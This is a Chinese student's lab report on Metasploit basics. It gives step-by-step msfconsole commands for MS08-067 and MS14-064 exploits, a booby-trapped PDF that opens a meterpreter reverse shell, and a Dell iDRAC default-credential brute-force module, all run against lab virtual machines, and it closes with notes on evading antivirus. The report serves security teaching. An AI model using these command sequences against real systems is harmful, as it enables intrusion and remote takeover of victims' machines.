20181223何家豪 Exp6 MSF应用基础

目录

一、实践内容

本实践目标是掌握metasploit的基本应用方式,重点常用的三种攻击方式的思路。

实践准备

1. MSF攻击方法

  • 主动攻击:扫描主机漏洞,进行攻击
  • 攻击浏览器
  • 攻击其他客户端

2. MSF的六种模块

  • 渗透攻击模块Exploit Modules:攻击漏洞,把shellcode"背"过去
    • 主动渗透攻击:攻击某个系统服务
    • 被动渗透攻击:攻击某个客户端应用
  • 辅助模块Auxiliary Modules:在进行渗透攻击之前得到目标系统丰富的情报信息,它是攻击的前提
    • 网络服务的扫描与查点
    • 探查敏感信息泄露、Fuzz测试发掘漏洞
    • 收集登录密码
  • 攻击载荷Payload Modules:载荷,一段指令(shellcode),目标系统在被渗透攻击之后去执行的代码
  • 空字段模块Nop Modules
    • 一些对程序运行状态不会造成任何实质影响的空操作或无关操作指令,即空指令(滑行区)
    • 由于系统无法精确计算shellcode的起始地址,所以加入nops以增加攻击成功的概率
  • 编码模块Encoders
    • 改变payload形状,使得不出现特定字符
    • 确保攻击载荷中不会出现渗透攻击过程中应加以避免的“坏字符”
  • 后渗透攻击模块Post:攻击成功之后,动态传输代码使其在被控机执行
  • 查看六种模块源码目录/usr/share/metasploit-framework/modules

3. MSF的三种用户操作界面

  • msfconsole
    • 查看模块的具体信息info [exploits|auxiliary|post|payloads|encoders|nops]
    • 查看设置信息show [options]
    • 查看攻击目标类型show [target]
    • 查找命令search
      • 查找2016年产生的在windows平台下的漏洞search ms16 type:exploit platform:windows
  • armitage
    • 启动服务器service postgresql start
    • 启动armitagearmitage
  • webgui

(一)一个主动攻击实践,尽量使用最新的类似漏洞

漏洞编号:ms08-067

漏洞描述:ms08-067漏洞的全称为“Windows Server服务RPC请求缓冲区溢出漏洞”,如果用户在受影响的系统上收到特制的 RPC 请求,则该漏洞可能允许远程执行代码,可用于进行蠕虫攻击。受影响的系统有 Microsoft Windows 2000、Windows XP 和 Windows Server 2003

主机:kali
IP:192.168.136.128
靶机:Windows XP English
IP:192.168.136.142

20181223何家豪 Exp6 MSF应用基础

攻击者试探靶机是否存在此漏洞nmap -sS -A --script=smb-vuln-ms08-067 -PO 192.168.136.142

20181223何家豪 Exp6 MSF应用基础

进入msf,使用search ms08-067查看漏洞位置

20181223何家豪 Exp6 MSF应用基础

使用use exploit/windows/smb/ms08_067_netapi选择该漏洞
设置攻击的载荷set payload generic/shell_reverse_tcp
使用show payloads查看可用载荷
设置靶机IPset RHOSTS 192.168.136.142
设置攻击机IPset LHOSTS 192.168.136.128

20181223何家豪 Exp6 MSF应用基础

exploit进行攻击

第一次攻击失败,换个端口继续攻击

20181223何家豪 Exp6 MSF应用基础

攻击成功,可用ipconfig/all命令验证连接结果

(二)一个针对浏览器的攻击,尽量使用最新的类似漏洞

漏洞编号:ms14-064
靶机:Windows xp English
IP:192.168.122.143

20181223何家豪 Exp6 MSF应用基础

主机:Kali
IP:192.168.122.136

20181223何家豪 Exp6 MSF应用基础

进入msf,使用search ms13查看漏洞位置

20181223何家豪 Exp6 MSF应用基础

使用use exploit/windows/browser/ms14_064_ole_code_execution选择攻击模块

设置好攻击机的IP与端口,使用的载荷等信息,然后开始攻击
在xp中打开生成的url,可以在kali中看到创建了一个链接:

20181223何家豪 Exp6 MSF应用基础

使用ctrl+c退出当前状态,通过sessions -i 1获取第一个会话
使用ipconfig查看靶机地址:

20181223何家豪 Exp6 MSF应用基础

发现攻击的是xp主机,攻击成功。

(三)一个针对客户端的攻击,如Adobe或office,尽量使用最新的类似漏洞

靶机 windows XP Pro English
IP172.16.227.19

攻击机 kali
IP172.16.229.167

use exploit/windows/fileformat/adobe_cooltype_sing
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11223
set FILENAME 20181223.pdf
set target 0
exploit

20181223何家豪 Exp6 MSF应用基础

输入后显示

[*] Creating '20181223.pdf' file...
[+] 20181223.pdf stored at /root/.msf4/local/20181223.pdf

去所在路径找到pdf,放到靶机里,输入如下命令进入监听模块

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 172.16.229.167
set LPORT 11223
exploit

xp里没有adobe,看rb文件里对应的adobe版本下一个9.3版本

20181223何家豪 Exp6 MSF应用基础

打开靶机里的pdf,攻击机中获得控制权,路径为pdf所在地址

20181223何家豪 Exp6 MSF应用基础

(四)成功应用任何一个辅助模块

扫描工具Dell iDRAC Default Login
因为主机是dell的,我找了一个dell的扫描器。

  • iDRAC 是什么?
    带 Lifecycle Controller 的集成戴尔远程访问控制器 (iDRAC) 嵌入在每个 Dell EMC PowerEdge™ 服务器中,其功能可帮助 IT 管理员部署、更新、监控和维护服务器,而无需安装任何额外软件。Dell iDRAC 的工作不受操作系统或虚拟机管理程序存在的影响,因为 iDRAC 在出厂时就已嵌入每个服务器中,其已准备好从预操作系统或裸机状态工作。

使用info进行查看

msf5 auxiliary(scanner/http/dell_idrac) > info

       Name: Dell iDRAC Default Login
     Module: auxiliary/scanner/http/dell_idrac
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  Cristiano Maruti <cmaruti@gmail.com>

Check supported:
  Yes

Basic options:
  Name              Current Setting                                                        Required  Description

----              ---------------                                                        --------  -----------

  BLANK_PASSWORDS   false                                                                  no        Try blank passwords for all users
  BRUTEFORCE_SPEED  5                                                                      yes       How fast to bruteforce, from 0 to 5
  DB_ALL_CREDS      false                                                                  no        Try each user/password couple stored in the current database
  DB_ALL_PASS       false                                                                  no        Add all passwords in the current database to the list
  DB_ALL_USERS      false                                                                  no        Add all users in the current database to the list
  PASSWORD                                                                                 no        A specific password to authenticate with
  PASS_FILE         /usr/share/metasploit-framework/data/wordlists/idrac_default_pass.txt  no        File containing passwords, one per line
  Proxies                                                                                  no        A proxy chain of format type:host:port[,type:host:port][...]
  RHOSTS            192.168.124.118                                                        yes       The target address range or CIDR identifier
  RPORT             443                                                                    yes       Default remote port
  STOP_ON_SUCCESS   false                                                                  yes       Stop guessing when a credential works for a host
  TARGETURI         /data/login                                                            yes       Path to the iDRAC Administration page
  THREADS           1                                                                      yes       The number of concurrent threads
  USERNAME                                                                                 no        A specific username to authenticate as
  USERPASS_FILE                                                                            no        File containing users and passwords separated by space, one pair per line
  USER_AS_PASS      false                                                                  no        Try the username as the password for all users
  USER_FILE         /usr/share/metasploit-framework/data/wordlists/idrac_default_user.txt  no        File containing users, one per line
  VERBOSE           true                                                                   yes       Whether to print output for all attempts
  VHOST                                                                                    no        HTTP server virtual host

Description:
  This module attempts to login to a iDRAC webserver instance using 
  default username and password. Tested against Dell Remote Access 
  Controller 6 - Express version 1.50 and 1.85

可以看到要求的配置项不多,它大概就是尝试使用默认的用户名和密码对Dell的这个远程控制软件进行登录。

选择载荷-配置-探查
探查结果-no exit

20181223何家豪 Exp6 MSF应用基础

二、问题回答

基础问题回答

用自己的话解释什么是exploit,payload,encode.

1. exploit

exploit字面上的意思是“开拓、开发”,而在破解圈子里面,公认的概念可能是“漏洞及其利用”。通俗的说,exploit就是利用一切可以利用的工具、采用一切可以采用的方法、找到一切可以找到的漏洞,并且通过对漏洞资料的分析研究,从而达到获取网站用户资料文档、添加自定义用户、甚至侵入网站获得管理员权限控制整个网站的最终目的。对于cracker来说,能够得到密码档或者添加用户就足够了。而对于hacker来说,控制整个网站才是目的。
不管你用什么方法、什么工具,只要能够发现网站的漏洞,实现获取密码档、添加用户、控制网站的目标之一,那么你所做的就是exploit。
那么漏洞又是什么东西呢?我们应该知道,所谓网站,不过是由放在服务器上的很多相关程序及文件所组成的。既然是人编写的程序,就不会是无懈可击的,再优秀的程序都会有这样那样的缺陷,否则人们就不需要没完没了的更新升级程序了。而网站的漏洞,可能是组成网站的程序本身的缺陷造成的,也可能是程序之间的配置缺陷而造成的,还有就是网站设计上的缺陷。

2. payload

在计算机病毒或电脑蠕虫领域中,负载指的是进行有害操作的部分,例如:数据销毁、发送垃圾邮件等。
病毒通常会做一些有害的或者恶性的动作。在病毒代码中实现这个功能的部分叫做“有效负载”(payload)。payload可以实现任何运行在受害者环境中的程序所能做的事情,并且能够执行动作包括破坏文件删除文件,向病毒的作者或者任意的接收者发送敏感信息,以及提供通向被感染计算机的后门。

3. encode

通过一些特殊手段的编码,可以既保证有效载荷不被破坏,又使得漏洞攻击程序不会被侦察到。

三、实践总结与体会

本次的实验让我对msf有了更深入的掌握,在尝试上浪费了一些时间,但也学到了分析问题的能力。我对MSF的应用感觉更加得心应手了,了解了msf的具体用法,更加得心应手了。另外,感觉实验环境和真实环境还是有很大差距,很多漏洞都是故意去才能找到的。本次实验绝大多数的时间花费在找靶机上。这说明msf对漏洞的攻击对系统和软件版本具有较强的专一性。在日常生活中大可以不那么担心这个问题,毕竟大型厂商都会自动帮你更新好漏洞。

四、离实战还缺些什么技术或步骤?

首先是是信息搜集,实践中我们可以掌握靶机的系统版本,但是实际中我们需要了解目标的系统版本,然后有针对性地采取措施。并且还有掌握最新的漏洞信息。
其次是要将后门程序悄无声息的放入靶机中这部看似简单,但是实际中要逃过杀软与人为的检测,所以需要伪装和免杀处理。而且我们的许多操作都需要靶机的配合,而在实战中一般不会有被害人和你配合吧,除了社工成功的情况下。

上一篇:2019-2020-2 20175232司浩楠《网络对抗技术》Exp6 MSF基础应用


下一篇:20174321王柏舟-Exp6-MSF基础应用